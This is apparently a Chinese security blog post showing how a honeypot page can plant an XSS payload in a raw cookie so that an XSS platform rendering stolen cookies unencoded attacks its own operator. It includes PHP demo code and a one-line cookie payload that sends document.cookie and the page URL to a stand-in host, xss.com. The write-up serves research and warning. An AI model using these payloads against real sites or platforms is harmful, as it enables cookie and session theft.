注意了，使用XSS平台的你可能被“偷窥”
故君子之治人也，即以其人之道，还治其人之身。
Par1：你要了解的事
XSS平台：
玩渗透测试的人，对XSS平台应该不会陌生。
最简单的XSS平台，通常可以记录访问的url，访问时的cookie等。稍微复杂的功能，可能还会记录键盘输入，获取页面源码，截取网页屏幕等。
接下来，我会在本地安装一个github上的一个简单的xss平台项目，用作演示。
随便找的一个相对简单的XSS平台项目，地址：https://github.com/keyus/xss
设置COOKIE：
对于 cookie 的值进行编码一直都存在一些困惑。普遍认为 cookie 的值必须经过 URL 编码，但其实这是一个谬论，尽管通常都这么做。原始规范中明确指出只有三个字符必须进行编码：分号、逗号和空格，规范中还提到可以进行 URL 编码，但并不是必须，在 RFC 中没有提及任何编码。然而，几乎所有的实现都对 cookie 的值进行了一系列的 URL 编码。对于 name=value 格式，通常会对 name 和 value 分别进行编码，而不对等号 = 进行编码操作。 setcookie() 函数在发送 cookie 时，cookie 的值会自动进行 URL 编码，在取回时进行自动解码，为防止 URL 编码，请使用 setrawcookie() 取而代之。
Par2：姑且称之为XSS反弹攻击吧
OK，我已经在本地将xss平台搭建成功，而且可以正常使用，除了页面样式有点丑。
接下来，好戏开演了~
是否有人想过，如果我在cookie中，放入xss跨站语句，那么会有什么结果。接下来，就来个演示吧。
原理图片：
服务器B上的演示用的代码:
<?php
setcookie("normal","cookietwo");
setrawcookie("rawcookie","<script>alert(document.cookie)</script>");
?>
<html>
<head>
<title> A XSS honeypot demo</title>
</head>
<body>
<p>Just a XSS honeypot test~</p>
<script src=http://192.168.58.140/xss/></script>
</body>
</html>
<script src=http://192.168.58.140/xss/></script> 为A的XSS攻击语句，http://192.168.58.140/xss是XSS平台接口可以试想一下，如果我将包含xss攻击语句的cookie发送给了xss平台，而xss平台恰巧没对返回的参数进行编码，那会出现什么状况呢，接下来就进行演示了。
A对网站B进行XSS跨站攻击：
A打开XSS平台，查看获取到的网站B的cookie：
可以看到，cookie中的xss跨站语句，被放到了页面中，并且可以成功执行。
但是，在实际应用中，攻击语句大多为：
<script src= xss.com></script>攻击语句中包含了空格，但是在Cookie设置中，是不允许包含空格，分号，这个反而成了实际应用的一个需要解决的点。
还好，既然可以执行script语句，那么就可以直接把xss攻击语句放到javascript中，但也就能写一句，所以可以给出一个很low的解决方案，如下：
setrawcookie("eval","<script>window.location.href='http://xss.com?tosend='+document.cookie+window.location.href</script>");姑且称为“一句话跨站攻击”吧~
可以简单的获取到A’s XSS平台的cookie及url，虽然可以被人发现，但是已经不重要了~
Par3：除了愚弄一下攻击者，还能做什么
思路可以再猥琐一些。
如果一个XSS平台存在跨站，那么我们就可以自己对自己进行XSS攻击。这样，就可以监视自己的cookie是否被其他人查看。说白了，就是防止自己上传的cookie等敏感信息被XSS平台管理者偷看，防人之心不可无么~
Par4：尾声
在实际的环境中，这种攻击方法很难被利用，而且在许多xss平台中，上传的内容会被被编码，导致XSS漏洞并不存在。
但是感觉思路很有意思，所以就自己研究了一下，和大家分享。
各位也可以在自己使用的XSS平台上，测一下，是否存在上述问题，如果存在，也可以给大家提个醒~
另外可以看看这篇文章的姊妹篇《注意了，使用Sqlmap的你可能踩中了“蜜罐”》，可能会找到和这篇文章似曾相识的感觉吧。